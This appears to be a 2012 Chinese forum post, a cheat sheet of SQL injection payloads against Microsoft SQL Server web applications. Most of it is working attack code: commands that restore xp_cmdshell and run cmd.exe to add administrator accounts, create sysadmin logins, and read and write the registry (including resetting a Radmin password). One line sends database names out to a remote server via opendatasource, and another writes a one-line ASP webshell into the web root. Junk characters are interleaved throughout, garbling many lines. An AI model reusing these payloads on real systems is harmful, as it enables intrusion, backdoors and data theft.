找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1860|回复: 0
打印 上一主题 下一主题

阿D常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:26:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
阿D常用的一些注入命令# ?+ ^; r, k# D
//看看是什么权限的
; l& C1 A8 v% Z6 {  w! Kand 1=(Select IS_MEMBER('db_owner'))& O! N! N8 _7 A3 x# M
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
; {) o/ M* H8 R' R
9 {& z- f0 I$ g4 H9 q" l% k//检测是否有读取某数据库的权限
  s6 l/ r, x9 @# F( @9 J- uand 1= (Select HAS_DBACCESS('master'))
- W6 P* F( g4 y$ c# m$ \' MAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
* H9 a( s# Y) _3 c- a% X% L4 j/ [. f& Z& w6 L
: v+ K" H" B+ N/ \- Z
数字类型
. ?# u% ^+ J3 {1 b" E+ u7 r; k. X# Mand char(124)%2Buser%2Bchar(124)=0* S( c  E6 q: d' H; u6 }( Q

8 M; ], h! H/ R3 V  F字符类型1 u/ u* j: H: }4 j' B% @/ K
' and char(124)%2Buser%2Bchar(124)=0 and ''='& b4 r9 ^; Z# P+ w! x7 }' ~* B
! K  s' ]4 n9 X" w
搜索类型
; w: O$ T) V% e, F' and char(124)%2Buser%2Bchar(124)=0 and '%'='1 [- P0 M' f# I6 k# [
5 f7 Y9 c4 M8 x$ ?
爆用户名% ]5 P  w/ ~' d
and user>0
/ j8 O# X2 L8 |  s9 X" A, t' and user>0 and ''='
7 t; t) Y4 H. L0 g' y
6 Y# I0 n  b" J0 p检测是否为SA权限
9 Z5 P( y4 d6 E1 C8 Rand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
& E% c% i! Y: O) b' c" w# [And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --9 F5 Y6 c9 z$ v1 A- O
# h1 a1 O) b( a
检测是不是MSSQL数据库
  I' B+ n* V$ p. z' Rand exists (select * from sysobjects);-- ) v  v8 b6 E* |7 x
) K! d( g, Q7 C% C4 T3 [  a
检测是否支持多行
7 |( M6 ~. ]( o! F;declare @d int;--
0 |3 A3 A$ A5 G6 C& k
2 N8 Z, J* f- P. ^恢复 xp_cmdshell
* Y6 Z" m& C5 l" H;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
- I7 G3 m' Z: d* ^  o$ C% H4 _- Q4 _6 Q, h3 n
) c! T- S, P  z; A) y
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
3 v! G% U- T6 @. F* w9 e6 j: h2 L/ c- Y4 E6 C  V& z; X( p
//-----------------------! ?: _# z/ D; z; U
//      执行命令
1 R* z1 W3 N# x* V+ l- }  ?9 {& V//-----------------------
: Y" i1 h2 [+ N+ ?, O. y首先开启沙盘模式:
( j; x  y1 s: kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1) ~' ^! h, p7 A" L, U0 p

& O/ |1 ?7 V, x& u, ^然后利用jet.oledb执行系统命令. D/ h  R$ w- R) M/ Q- m
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
( F5 r7 r7 Y, z& T+ ~
4 I" P' k3 C4 T" P$ e2 X! `执行命令  C- u( V- L' B$ [! d7 T
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--4 w; `- T& P: Q8 M! S
1 z- x( w( n" C: b0 \
EXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
/ {$ ~  m7 L, {$ ^# u0 d6 p+ a$ E/ s
判断xp_cmdshell扩展存储过程是否存在:+ G( |% o( A8 N) ]1 {- W5 f# H
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')( Y0 ~: o$ |2 t  Y2 \) f" i8 w; f

* B# `7 h( ]3 G! d! p, Q9 r写注册表% k5 j9 \$ ^6 B. S8 ]  B7 t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1  I) |# G5 }* e$ }) i

& u+ s9 C* h, K" x$ dREG_SZ" p  ?! ~. n1 H: d$ v8 H. Q
1 _, \0 [4 \( Q; X
读注册表7 E7 k# L; x3 ^7 U# X! E7 N4 c
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'1 ~8 e: _1 J; X- v* s- b
8 a; y. z& X% W) n
读取目录内容
/ W7 N" }+ `4 V4 s, l) Qexec master..xp_dirtree 'c:\winnt\system32\',1,1$ b" [9 u# r( q
' L) K9 @( ^8 I  y

$ _' J% n+ }( ~5 V1 \, E数据库备份
1 ?8 s$ _0 g' J$ T4 |9 J8 `1 Q$ Nbackup database pubs to disk = 'c:\123.bak'7 j* a6 q3 X9 t7 S

" s' q( q: g/ [( b0 a//爆出长度9 m* S: w6 Y# e+ ]& r4 V# R
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--/ J8 j! S; z! W2 c4 f
: o. ]' J( K% D
8 \8 ]6 q( o) j, s% V1 S" m

. Z  s1 K% }8 A# j2 D- U更改sa口令方法:用sql综合利用工具连接后,执行命令:
2 w( ?8 X' t% A0 K$ Qexec sp_password NULL,'新密码','sa'
1 m2 w. U' k: p, B7 x0 m
$ }# p) ], n) D! p: k% X, c) ~添加和删除一个SA权限的用户test:
( H+ e8 ~4 N* m) V- C( ~exec master.dbo.sp_addlogin test,ptlove
; g3 @2 X* w: P( T$ i# \exec master.dbo.sp_addsrvrolemember test,sysadmin
9 h2 K$ m0 y7 g7 _0 R: J8 p
- w; I2 U4 B: o3 E删除扩展存储过过程xp_cmdshell的语句: 6 {! K1 P! f# j% S
exec sp_dropextendedproc 'xp_cmdshell'
+ G/ ~& y( E; t4 H% U9 p2 P$ [% i, O  L# [5 R- f4 r
添加扩展存储过过程6 Y! a, ~, [; E* M8 G7 e3 ^/ A
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
8 S/ [+ |* ]( x  I) H3 H7 |GRANT exec On xp_proxiedadata TO public
+ Y9 ^7 X4 X7 P+ x$ ~5 r
0 T3 F: [6 R9 {# t* {
' H2 C, e& v; b停掉或激活某个服务。 - J7 ?& {4 O$ ]" s) M2 M$ l

* ]2 A4 f' |7 L! k. Rexec master..xp_servicecontrol 'stop','schedule'
3 r6 |( Y% U: Y' H; `exec master..xp_servicecontrol 'start','schedule'9 f8 i( p' t4 @8 T
. D) I* j% x! }1 _, h" S' l; ^
dbo.xp_subdirs: d$ B2 D  J1 ^3 V. V
) B7 l/ f* n+ c& R5 Y/ h
只列某个目录下的子目录。( v) g) _) q# x3 g& h9 O1 g5 ?
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
6 ^* v: L- u+ R" p, E9 }  B0 K: p  t, _4 ~% [) |. E2 r6 B1 g% E, L) p: Y
dbo.xp_makecab( b4 r4 P# R3 A/ Q3 P- v$ {

. h" X( D: a0 }: G/ O- W, r将目标多个档案压缩到某个目标档案之内。0 l1 q& [% s5 I5 h* a& }+ S8 W
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。) M6 Q( N5 F0 W
7 |. V. ~$ S% g: K
dbo.xp_makecab
+ A& P4 z) a; I3 Z9 x0 o'c:\test.cab','mszip',1,
% w; i. e9 ]' L, t( {: G1 a'C:\Inetpub\wwwroot\SQLInject\login.asp',
6 ]" l. h  ?/ G$ ~/ k'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'$ q2 f. a- f; l4 G" s& A$ L. B

3 @' i% m* ~5 h2 `xp_terminate_process5 M7 T0 v+ Z( o& f/ @2 Q' o
  q+ G8 E8 p3 B: `, x% C6 q8 i! n0 S
停掉某个执行中的程序,但赋予的参数是 Process ID。
2 Z8 p6 b! j8 ^% \$ v( y利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
8 C, E5 W( c" B2 T# p- F( T+ T3 ]: X; d! I$ Y1 i6 a0 d
xp_terminate_process 2484
5 O; f8 Q: x, o" `: _2 j* T3 s' q7 s0 M% z, O
xp_unpackcab6 m5 }  C8 H/ N* _+ Y+ v6 P
2 V9 E6 g5 h/ v* ~/ s
解开压缩档。
$ h. o; V) z/ o% e2 @9 D8 _6 M& T9 a. ]% i: X
xp_unpackcab 'c:\test.cab','c:\temp',1
4 U" v3 f( _  p% r. h! e
" u: g$ O1 z; z) e# _8 W! p8 d+ H  z8 o
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为12341 S5 j1 b8 \% Y- J$ V. {

1 S! k3 K8 F9 u: U+ G+ i" Bcreate database lcx;
6 P! t) q7 r% [( ]/ e& O' FCreate TABLE ku(name nvarchar(256) null);( v* E5 E: @! c- {1 Z# h
Create TABLE biao(id int NULL,name nvarchar(256) null);
9 N; u: U8 a4 m1 ]" D( _2 t) r( X
# ~. q- B+ P8 q+ M//得到数据库名$ h) h5 i/ \* g+ @2 E" G+ Z
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases6 s4 v* o, s' E1 p) r

( V" v5 z( U4 A2 r" B' i
+ A# S# |* o0 Q* w$ _/ N/ I  @//在Master中创建表,看看权限怎样) n9 |8 R6 [' E. W8 `% L( a0 Y8 N
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
: g0 `# s$ V8 E+ o8 P4 Z6 f# A( [9 I" I+ x/ f3 k2 x
用 sp_makewebtask直接在web目录里写入一句话马:
7 I3 I# C: U6 d2 w9 m; Thttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
$ L( ^3 J9 Y+ g8 d4 M# e5 j( J, [: I& b7 @: ~) T
//更新表内容
& |6 X+ ^- L/ x, @1 FUpdate films SET kind = 'Dramatic' Where id = 1235 r' b3 J0 f9 c! `( r8 ?. X
; K1 m  y! E8 S7 t) A( ?. M  M
//删除内容
/ s) `" J' |. d, @delete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表